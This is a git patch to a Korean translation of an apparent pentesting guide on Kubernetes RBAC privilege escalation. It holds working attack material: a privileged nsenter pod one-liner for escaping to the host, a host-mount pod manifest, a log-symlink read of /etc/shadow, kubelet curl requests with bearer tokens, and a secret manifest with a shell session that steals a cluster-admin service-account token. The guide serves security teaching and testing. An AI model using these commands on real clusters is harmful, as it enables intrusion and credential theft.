From e3528e9430621ea7e49417d7da9034d2f860d596 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 22 Jan 2025 12:07:09 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus --- .../README.md | 169 ++++++++++++------ 1 file changed, 116 insertions(+), 53 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 361428972..223868665 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -3,21 +3,21 @@ {{#include ../../../banners/hacktricks-training.md}} 여기에서 잠재적으로 위험한 Roles 및 ClusterRoles 구성을 찾을 수 있습니다.\ -`kubectl api-resources`를 사용하여 지원되는 모든 리소스를 얻을 수 있다는 점을 기억하세요. +`kubectl api-resources`를 사용하여 지원되는 모든 리소스를 가져올 수 있습니다. ## **권한 상승** -클러스터 내에서 **다른 권한**을 가진 **다른 주체에 대한 접근을 얻는 기술**을 의미하며(쿠버네티스 클러스터 내 또는 외부 클라우드에 대해), Kubernetes에서는 기본적으로 **권한을 상승시키기 위한 4가지 주요 기술**이 있습니다: +클러스터 내에서 **다른 권한**을 가진 **다른 주체에 대한 접근을 얻는 기술**을 의미하며 (kubernetes 클러스터 내 또는 외부 클라우드에 대해), Kubernetes에서는 기본적으로 **권한을 상승시키기 위한 4가지 주요 기술**이 있습니다: -- 쿠버네티스 클러스터 내 또는 외부 클라우드에서 더 나은 권한을 가진 다른 사용자/그룹/SA를 **가장할 수 있는 능력** -- 쿠버네티스 클러스터 내 또는 외부 클라우드에서 더 나은 권한을 가진 SA를 **찾거나 연결할 수 있는** **pod를 생성/패치/실행할 수 있는 능력** -- SA 토큰이 비밀로 저장되므로 **비밀을 읽을 수 있는 능력** -- 컨테이너에서 노드로 **탈출할 수 있는 능력**, 여기서 노드에서 실행 중인 모든 컨테이너의 비밀, 노드의 자격 증명 및 클라우드 내에서 실행 중인 노드의 권한을 훔칠 수 있습니다(있는 경우) +- Kubernetes 클러스터 내에서 또는 외부 클라우드에 대해 더 나은 권한을 가진 다른 사용자/그룹/SA를 **가장할 수 있는 능력** +- Kubernetes 클러스터 내에서 또는 외부 클라우드에 대해 더 나은 권한을 가진 SA를 **찾거나 연결할 수 있는** **pod를 생성/패치/실행할 수 있는 능력** +- SA의 토큰이 비밀로 저장되므로 **비밀을 읽을 수 있는 능력** +- 컨테이너에서 노드로 **탈출할 수 있는 능력**, 여기서 노드에서 실행 중인 컨테이너의 모든 비밀, 노드의 자격 증명 및 클라우드 내에서 실행 중인 노드의 권한을 훔칠 수 있습니다 (있는 경우) - 언급할 가치가 있는 다섯 번째 기술은 pod에서 **포트 포워드**를 실행할 수 있는 능력으로, 해당 pod 내의 흥미로운 리소스에 접근할 수 있을 수 있습니다. ### 모든 리소스 또는 동사에 접근하기 (와일드카드) -**와일드카드(*)는 모든 동사에 대해 모든 리소스에 대한 권한을 부여합니다**. 이는 관리자에 의해 사용됩니다. ClusterRole 내에서 이는 공격자가 클러스터의 anynamespace를 악용할 수 있음을 의미합니다. +**와일드카드 (\*)는 모든 동사에 대해 모든 리소스에 대한 권한을 부여합니다**. 이는 관리자에 의해 사용됩니다. ClusterRole 내에서 이는 공격자가 클러스터의 anynamespace를 악용할 수 있음을 의미합니다. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,7 +49,7 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -권한이 있는 공격자가 포드를 생성할 수 있는 경우, 포드에 특권 서비스 계정을 연결하고 토큰을 훔쳐 서비스 계정을 가장할 수 있습니다. 이를 통해 권한을 효과적으로 상승시킬 수 있습니다. +권한이 있는 공격자는 포드를 생성할 수 있으며, 포드에 특권 서비스 계정을 연결하고 토큰을 훔쳐 서비스 계정을 가장할 수 있습니다. 효과적으로 권한을 상승시키는 것입니다. `bootstrap-signer` 서비스 계정의 토큰을 훔쳐 공격자에게 전송하는 포드의 예: ```yaml @@ -77,8 +77,8 @@ hostNetwork: true 다음은 컨테이너가 가질 수 있는 모든 권한을 나타냅니다: - **특권 액세스** (보호 기능 비활성화 및 기능 설정) -- **hostIPC 및 hostPid 네임스페이스 비활성화** 권한 상승에 도움이 될 수 있습니다 -- **hostNetwork** 네임스페이스 비활성화, 노드의 클라우드 권한을 훔치고 네트워크에 더 나은 접근을 제공합니다 +- **hostIPC 및 hostPid 네임스페이스 비활성화** 권한 상승에 도움이 될 수 있음 +- **hostNetwork** 네임스페이스 비활성화, 노드의 클라우드 권한을 훔치고 네트워크에 더 나은 접근을 제공 - **호스트를 컨테이너 내부에 마운트** ```yaml:super_privs.yaml apiVersion: v1 @@ -115,11 +115,11 @@ volumes: hostPath: path: / ``` -다음과 같이 포드를 생성합니다: +포드를 생성하려면: ```bash kubectl --token $token create -f mount_root.yaml ``` -[이 트윗](https://twitter.com/mauilion/status/1129468485480751104)에서 가져온 한 줄과 몇 가지 추가 사항: +이 트윗에서의 원라이너와 몇 가지 추가 사항: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` @@ -127,7 +127,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos #### Stealth -아마도 당신은 **더 은밀해지길 원할 것입니다**. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 포드를 생성할 경우 접근할 수 있는 내용을 확인할 수 있습니다: +아마도 당신은 **더 은밀하게** 행동하고 싶을 것입니다. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 **pod**를 생성할 경우 접근할 수 있는 내용을 확인할 수 있습니다: - **Privileged + hostPID** - **Privileged only** @@ -136,14 +136,14 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos - **hostNetwork** - **hostIPC** -_이전 특권 포드 구성 생성/악용 방법의 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)에서 확인할 수 있습니다. +_이전 권한이 있는 pods 구성을 생성/악용하는 방법의 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)에서 확인할 수 있습니다. ### Pod Create - Move to cloud -**포드**(선택적으로 **서비스 계정**)를 **생성**할 수 있다면, **포드 또는 서비스 계정에 클라우드 역할을 할당**하여 **클라우드 환경에서 권한을 얻을 수 있습니다**.\ -또한, **호스트 네트워크 네임스페이스**로 **포드**를 생성할 수 있다면, **노드** 인스턴스의 IAM 역할을 **탈취**할 수 있습니다. +**pod**(선택적으로 **service account**)를 **생성**할 수 있다면, **pod 또는 service account에 클라우드 역할을 할당**하여 **클라우드 환경에서 권한을 얻을 수** 있습니다.\ +또한, **호스트 네트워크 네임스페이스**로 **pod**를 생성할 수 있다면, **노드** 인스턴스의 **IAM** 역할을 **탈취**할 수 있습니다. -자세한 내용은 다음을 확인하세요: +자세한 정보는 다음을 확인하세요: {{#ref}} pod-escape-privileges.md @@ -151,9 +151,9 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -이 권한을 악용하여 **새 포드**를 **생성**하고 이전 예와 같이 권한을 확립할 수 있습니다. +이 권한을 악용하여 **새로운 pod**를 **생성**하고 이전 예와 같이 권한을 확립할 수 있습니다. -다음 yaml은 **데몬셋을 생성하고 포드 내부의 SA 토큰을 유출**합니다: +다음 yaml은 **daemonset을 생성하고 pod 내부의 SA 토큰을 유출**합니다: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -191,15 +191,15 @@ path: / ``` ### **Pods Exec** -**`pods/exec`**는 **포드 내에서 셸에서 명령을 실행하는 데 사용되는 kubernetes의 리소스**입니다. 이를 통해 **컨테이너 내에서 명령을 실행하거나 셸에 들어갈 수 있습니다**. +**`pods/exec`**는 **포드 내부에서 셸에서 명령을 실행하는 데 사용되는 kubernetes의 리소스**입니다. 이를 통해 **컨테이너 내부에서 명령을 실행하거나 셸에 들어갈 수 있습니다**. -따라서 **포드에 들어가 SA의 토큰을 훔치거나, 권한이 있는 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 (악용) 노드를 사용할 수 있습니다**: +따라서 **포드 내부로 들어가 SA의 토큰을 훔치거나, 특권 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 노드를 (악용)할 수 있습니다**: ```bash kubectl exec -it -n -- sh ``` ### port-forward -이 권한은 **하나의 로컬 포트를 지정된 포드의 하나의 포트로 포워딩할 수 있게 해줍니다**. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운 (예: DB) 또는 취약한 애플리케이션 (웹?)에 접근할 수 있습니다: +이 권한은 **지정된 포드의 하나의 포트에 하나의 로컬 포트를 포워딩할 수 있게 해줍니다**. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운 (예: DB) 또는 취약한 애플리케이션 (웹?)에 접근할 수 있습니다: ``` kubectl port-forward pod/mypod 5000:5000 ``` @@ -209,9 +209,9 @@ kubectl port-forward pod/mypod 5000:5000 이는 기본적으로 **Kube-API가 컨테이너의 로그를 가져오려고 할 때** (`kubectl logs ` 사용) **포드의 `0.log`** 파일을 **Kubelet** 서비스의 `/logs/` 엔드포인트를 사용하여 요청하기 때문입니다.\ Kubelet 서비스는 기본적으로 **컨테이너의 `/var/log` 파일 시스템을 노출하는** `/logs/` 엔드포인트를 노출합니다. -따라서 **컨테이너의 /var/log/ 폴더에 쓰기 접근 권한이 있는 공격자는** 이 행동을 두 가지 방법으로 악용할 수 있습니다: +따라서 **컨테이너의 /var/log/ 폴더에 쓰기 접근 권한이 있는** 공격자는 이 행동을 두 가지 방법으로 악용할 수 있습니다: -- 컨테이너의 `0.log` 파일을 수정하여 (보통 `/var/logs/pods/namespace_pod_uid/container/0.log`에 위치) 예를 들어 **`/etc/shadow`를 가리키는 심볼릭 링크**로 만들 수 있습니다. 그러면 다음과 같이 호스트의 shadow 파일을 유출할 수 있습니다: +- 컨테이너의 `0.log` 파일을 수정하여 (보통 `/var/logs/pods/namespace_pod_uid/container/0.log`에 위치) **예를 들어 `/etc/shadow`를 가리키는 심볼릭 링크**로 만들 수 있습니다. 그러면 다음과 같이 호스트의 shadow 파일을 유출할 수 있습니다: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -219,7 +219,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- 공격자가 **`nodes/log`를 읽을 수 있는 권한**을 가진 주체를 제어하는 경우, 그는 `/host-mounted/var/log/sym`에 `/`에 대한 **symlink**를 생성할 수 있으며, **`https://:10250/logs/sym/`에 접근할 때 호스트의 루트** 파일 시스템을 나열할 수 있습니다 (symlink를 변경하면 파일에 대한 접근을 제공할 수 있습니다). +- 공격자가 **`nodes/log`를 읽을 수 있는 권한을 가진 주체**를 제어하는 경우, 그는 단순히 `/host-mounted/var/log/sym`에 `/`에 대한 **symlink**를 생성할 수 있으며, **`https://:10250/logs/sym/`에 접근할 때 호스트의 루트** 파일 시스템을 나열할 수 있습니다 (symlink를 변경하면 파일에 대한 접근을 제공할 수 있습니다). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -231,11 +231,11 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**실험실 및 자동화된 익스플로잇은** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)에서 찾을 수 있습니다. +**실험실과 자동화된 익스플로잇은** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)에서 찾을 수 있습니다. #### readOnly 보호 우회 -운이 좋다면, 고급 권한을 가진 능력 `CAP_SYS_ADMIN`이 사용 가능할 경우, 폴더를 rw로 다시 마운트할 수 있습니다: +운이 좋다면, 고급 권한을 가진 `CAP_SYS_ADMIN` 기능이 사용 가능할 때, 폴더를 rw로 다시 마운트할 수 있습니다: ```bash mount -o rw,remount /hostlogs/ ``` @@ -310,25 +310,88 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### 비밀 목록 나열 +### Listing Secrets **비밀을 나열할 수 있는 권한은 공격자가 실제로 비밀을 읽을 수 있게 할 수 있습니다** REST API 엔드포인트에 접근하여: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### 비밀 읽기 – 토큰 ID 무차별 대입 +### Creating and Reading Secrets -읽기 권한이 있는 토큰을 소유한 공격자는 이를 사용하기 위해 비밀의 정확한 이름이 필요하지만, 더 넓은 _**비밀 나열**_ 권한과는 달리 여전히 취약점이 존재합니다. 시스템의 기본 서비스 계정은 열거될 수 있으며, 각 계정은 비밀과 연결되어 있습니다. 이러한 비밀은 정적 접두사 뒤에 특정 문자를 제외한 무작위 5자 알파벳 숫자 토큰이 오는 이름 구조를 가지고 있습니다. [소스 코드](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)에 따르면, +Kubernetes의 **kubernetes.io/service-account-token** 유형의 비밀은 serviceaccount 토큰을 저장하는 특별한 종류의 비밀입니다. 비밀을 생성하고 읽을 수 있는 권한이 있고 serviceaccount의 이름을 알고 있다면, 다음과 같이 비밀을 생성한 후 피해자의 serviceaccount 토큰을 훔칠 수 있습니다: +```yaml +apiVersion: v1 +kind: Secret +metadata: +name: stolen-admin-sa-token +namespace: default +annotations: +kubernetes.io/service-account.name: cluster-admin-sa +type: kubernetes.io/service-account-token +``` +예시 악용: +```bash +$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) -토큰은 전체 알파벳 숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 인해 가능한 조합의 총 수는 14,348,907(27^5)로 줄어듭니다. 따라서 공격자는 몇 시간 내에 토큰을 추론하기 위해 무차별 대입 공격을 실행할 수 있으며, 이는 민감한 서비스 계정에 접근하여 권한 상승으로 이어질 수 있습니다. +$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN +Warning: the list may be incomplete: webhook authorizer does not support user rule resolution +Resources Non-Resource URLs Resource Names Verbs +selfsubjectreviews.authentication.k8s.io [] [] [create] +selfsubjectaccessreviews.authorization.k8s.io [] [] [create] +selfsubjectrulesreviews.authorization.k8s.io [] [] [create] +secrets [] [] [get create] +[/.well-known/openid-configuration/] [] [get] + +[/version] [] [get] + +$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN +error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default" + +$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa +Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default" + +$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN +secret/stolen-admin-sa-token created + +$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json +{ +"apiVersion": "v1", +"data": { +"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K", +"namespace": "ZGVmYXVsdA==", +"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc=" +}, +"kind": "Secret", +"metadata": { +"annotations": { +"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n", +"kubernetes.io/service-account.name": "cluster-admin-sa", +"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f" +}, +"creationTimestamp": "2025-01-11T13:02:27Z", +"name": "stolen-admin-sa-token", +"namespace": "default", +"resourceVersion": "1019116", +"uid": "680d119f-89d0-4fc6-8eef-1396600d7556" +}, +"type": "kubernetes.io/service-account-token" +} +``` +다음과 같이 특정 네임스페이스에서 비밀을 생성하고 읽을 수 있는 권한이 있는 경우, 피해자의 서비스 계정도 동일한 네임스페이스에 있어야 합니다. + +### 비밀 읽기 – 토큰 ID 무작위 대입 + +읽기 권한이 있는 토큰을 소유한 공격자는 이를 사용하기 위해 비밀의 정확한 이름이 필요하지만, 더 넓은 _**비밀 나열**_ 권한과는 달리 여전히 취약점이 존재합니다. 시스템의 기본 서비스 계정은 나열할 수 있으며, 각 계정은 비밀과 연결되어 있습니다. 이러한 비밀은 이름 구조가 있으며: 정적 접두사 뒤에 무작위의 다섯 자리 알파벳 숫자 토큰(특정 문자를 제외하고)이 옵니다. [소스 코드](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)에 따르면. + +토큰은 전체 알파벳 숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 인해 가능한 조합의 총 수는 14,348,907(27^5)로 줄어듭니다. 따라서 공격자는 몇 시간 내에 토큰을 추론하기 위해 무작위 대입 공격을 실행할 수 있으며, 이는 민감한 서비스 계정에 접근하여 권한 상승으로 이어질 수 있습니다. ### 인증서 서명 요청 -`certificatesigningrequests` 리소스에 **`create`** 동사가 있는 경우(또는 최소한 `certificatesigningrequests/nodeClient`에 있는 경우), **새 노드의** 새로운 CeSR을 **생성**할 수 있습니다. +`certificatesigningrequests` 리소스에서 **`create`** 동사를 가지고 있다면 (또는 최소한 `certificatesigningrequests/nodeClient`에서). **새 노드의** 새로운 CeSR을 **생성**할 수 있습니다. -[문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 이 경우 **추가 권한이 필요하지 않습니다**. 그렇지 않으면 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 업데이트하고 `signers`에서 리소스 이름 `/` 또는 `/*`로 `approve`해야 함을 의미합니다. +[문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 이 경우 **추가 권한이 필요하지 않습니다**. 그렇지 않다면 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 업데이트하고 `signers`에서 리소스 이름 `/` 또는 `/*`로 `approve`해야 함을 의미합니다. -모든 필요한 권한이 있는 **역할의 예**는: +모든 필요한 권한이 포함된 **역할의 예**는: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -359,7 +422,7 @@ resourceNames: verbs: - approve ``` -새로운 노드 CSR이 승인되었으므로, 노드의 특별 권한을 **악용**하여 **비밀을 훔치고** **권한을 상승**시킬 수 있습니다. +새로운 노드 CSR이 승인되었으므로, 노드의 특별한 권한을 **악용**하여 **비밀을 훔치고** **권한을 상승**시킬 수 있습니다. [**이 게시물**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)과 [**이 게시물**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)에서 GKE K8s TLS 부트스트랩 구성은 **자동 서명**으로 설정되어 있으며, 이를 악용하여 새로운 K8s 노드의 자격 증명을 생성한 다음 이를 사용하여 비밀을 훔쳐 권한을 상승시킵니다.\ **언급된 권한이 있다면 같은 작업을 수행할 수 있습니다.** 첫 번째 예제는 새로운 노드가 컨테이너 내부의 비밀에 접근하는 것을 방지하는 오류를 우회합니다. 왜냐하면 **노드는 자신에게 마운트된 컨테이너의 비밀만 접근할 수 있기 때문입니다.** @@ -414,7 +477,7 @@ groups: > **`aws-auth`**를 사용하여 **다른 계정**의 사용자에게 접근 권한을 부여하여 **지속성**을 유지할 수 있습니다. > > 그러나 `aws --profile other_account eks update-kubeconfig --name ` **는 다른 계정에서 작동하지 않습니다**. 하지만 실제로 `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`는 클러스터의 ARN을 이름 대신 넣으면 작동합니다.\ -> `kubectl`이 작동하도록 하려면 **희생자의 kubeconfig**를 **구성**하고 aws exec args에 `--profile other_account_role`을 추가하여 kubectl이 다른 계정 프로필을 사용하여 토큰을 가져오고 AWS에 연락하도록 합니다. +> `kubectl`이 작동하도록 하려면 **희생자의 kubeconfig**를 **구성**하고 aws exec args에 `--profile other_account_role`을 추가하여 kubectl이 다른 계정 프로필을 사용하여 토큰을 가져오고 AWS에 연락하도록 해야 합니다. ### GKE에서의 권한 상승 @@ -422,7 +485,7 @@ groups: > [!WARNING] > K8s API 엔드포인트와 통신할 때 **GCP 인증 토큰이 전송됩니다**. 그러면 GCP는 K8s API 엔드포인트를 통해 먼저 **주체**(이메일로)가 클러스터 내에 **접근 권한이 있는지** 확인한 다음, **GCP IAM을 통해 접근 권한이 있는지** 확인합니다.\ -> 만약 **어떤** 것이 **참**이라면, 응답을 받을 것입니다. **그렇지 않으면** **GCP IAM을 통해 권한을 부여하라는** 오류가 발생합니다. +> 이 중 **하나라도** **참이면**, 응답을 받게 됩니다. **아니면** **GCP IAM을 통해 권한을 부여하라는** 오류가 발생합니다. 그런 다음 첫 번째 방법은 **GCP IAM**을 사용하는 것이며, K8s 권한은 **상응하는 GCP IAM 권한**이 있으며, 주체가 이를 가지고 있다면 사용할 수 있습니다. @@ -434,7 +497,7 @@ groups: ### 서비스 계정 토큰 생성 -**TokenRequests** (`serviceaccounts/token`)를 **생성할 수 있는 주체**는 K8s API 엔드포인트와 통신할 수 있습니다 (정보는 [**여기**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)에서 확인). +**TokenRequests** (`serviceaccounts/token`)를 **생성할 수 있는 주체**는 K8s API 엔드포인트와 통신할 때 SAs (정보는 [**여기**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))에서 확인할 수 있습니다. ### ephemeralcontainers @@ -442,28 +505,28 @@ groups: ### ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations -`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update` 또는 `patch` 동사를 가진 주체는 **권한 상승**을 위해 **이러한 webhookconfigurations 중 하나를 생성할 수** 있습니다. +`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update` 또는 `patch`의 동사를 가진 주체는 **이러한 webhookconfigurations 중 하나를 생성**하여 **권한을 상승**시킬 수 있습니다. -[`mutatingwebhookconfigurations` 예제는 이 게시물의 이 섹션을 확인하세요](./#malicious-admission-controller). +[`mutatingwebhookconfigurations` 예제는 이 게시물의 이 섹션을 확인하세요](#malicious-admission-controller). ### 권한 상승 -다음 섹션에서 읽을 수 있듯이: [**내장된 권한 상승 방지**](./#built-in-privileged-escalation-prevention), 주체는 자신이 새로운 권한을 가지지 않고는 역할이나 클러스터 역할을 업데이트하거나 생성할 수 없습니다. 단, **`roles`** 또는 **`clusterroles`**에 대해 **`escalate`** 동사를 가진 경우는 예외입니다.\ +다음 섹션에서 읽을 수 있듯이: [**내장된 권한 상승 방지**](#built-in-privileged-escalation-prevention), 주체는 자신이 새로운 권한을 가지지 않고는 역할이나 클러스터 역할을 업데이트하거나 생성할 수 없습니다. 단, **`roles`** 또는 **`clusterroles`**에 대해 **동사 `escalate`**를 가진 경우는 예외입니다.\ 그렇다면 그는 더 나은 권한을 가진 새로운 역할, 클러스터 역할을 업데이트/생성할 수 있습니다. ### 노드 프록시 -**`nodes/proxy`** 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 **pods에서 코드를 실행**할 수 있습니다 (정보는 [**이곳**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)에서 확인). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인하세요: +**`nodes/proxy`** 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 **pods에서 코드를 실행**할 수 있습니다 (정보는 [**이곳**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)에서 확인하세요). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인할 수 있습니다: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -[**Kubelet API에 권한이 있는 RCE를 얻는 방법은 여기**](../pentesting-kubernetes-services/#kubelet-rce)에서 확인하세요. +[**Kubelet API에 인증된 상태로 RCE를 얻는 방법은 여기에서 확인하세요**](../pentesting-kubernetes-services/index.html#kubelet-rce). ### pods 삭제 + 스케줄링 불가능한 노드 -**pods를 삭제**할 수 있는 주체(`pods` 리소스에 대한 `delete` 동사), 또는 **pods를 퇴거**할 수 있는 주체(`pods/eviction` 리소스에 대한 `create` 동사), 또는 **pod 상태를 변경**할 수 있는 주체(`pods/status` 접근)와 **다른 노드를 스케줄링 불가능하게 만들 수 있는** 주체(`nodes/status` 접근) 또는 **노드를 삭제**할 수 있는 주체(`nodes` 리소스에 대한 `delete` 동사)와 pod에 대한 제어권을 가진 주체는 **다른 노드에서 pods를 훔칠 수** 있어 **손상된** **노드**에서 **실행**되도록 하고 공격자가 **그 pods에서 토큰을 훔칠 수** 있습니다. +**pods를 삭제**할 수 있는 주체(`pods` 리소스에 대한 `delete` 동사) 또는 **pods를 퇴거**할 수 있는 주체(`pods/eviction` 리소스에 대한 `create` 동사) 또는 **pod 상태를 변경**할 수 있는 주체(`pods/status`에 대한 접근)와 **다른 노드를 스케줄링 불가능하게 만들 수 있는 주체**(`nodes/status`에 대한 접근) 또는 **노드를 삭제**할 수 있는 주체(`nodes` 리소스에 대한 `delete` 동사)와 pod에 대한 제어권을 가진 주체는 **다른 노드에서 pods를 훔쳐** **손상된** **노드**에서 **실행**되도록 할 수 있으며, 공격자는 이러한 pods에서 **토큰을 훔칠** 수 있습니다. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -476,7 +539,7 @@ kubectl delete pods -n kube-system ``` ### 서비스 상태 (CVE-2020-8554) -**`services/status`**를 **수정**할 수 있는 주체는 `status.loadBalancer.ingress.ip` 필드를 설정하여 **수정되지 않은 CVE-2020-8554**를 악용하고 **클러스터에 대한 MiTM 공격**을 시작할 수 있습니다. CVE-2020-8554에 대한 대부분의 완화 조치는 ExternalIP 서비스만 방지합니다 ([**이 링크**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) 참조). +**`services/status`**를 **수정**할 수 있는 주체는 `status.loadBalancer.ingress.ip` 필드를 설정하여 **수정되지 않은 CVE-2020-8554**를 악용하고 **클러스터에 대한 MiTM 공격**을 시작할 수 있습니다. CVE-2020-8554에 대한 대부분의 완화 조치는 ExternalIP 서비스만 방지합니다 (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### 노드 및 파드 상태 @@ -486,25 +549,25 @@ kubectl delete pods -n kube-system Kubernetes는 권한 상승을 방지하기 위한 [내장 메커니즘](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)을 가지고 있습니다. -이 시스템은 **사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장**합니다. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인증자가 비활성화되어 있을 때에도 안전 장치를 제공합니다. +이 시스템은 **사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장합니다**. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인가자가 비활성화되어 있을 때도 보호 장치를 제공합니다. -규칙은 **사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능**하다고 명시합니다. 또한 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 대해 제한됩니다. +규칙은 **사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능하다고 명시합니다**. 또한, 사용자의 기존 권한 범위는 생성하거나 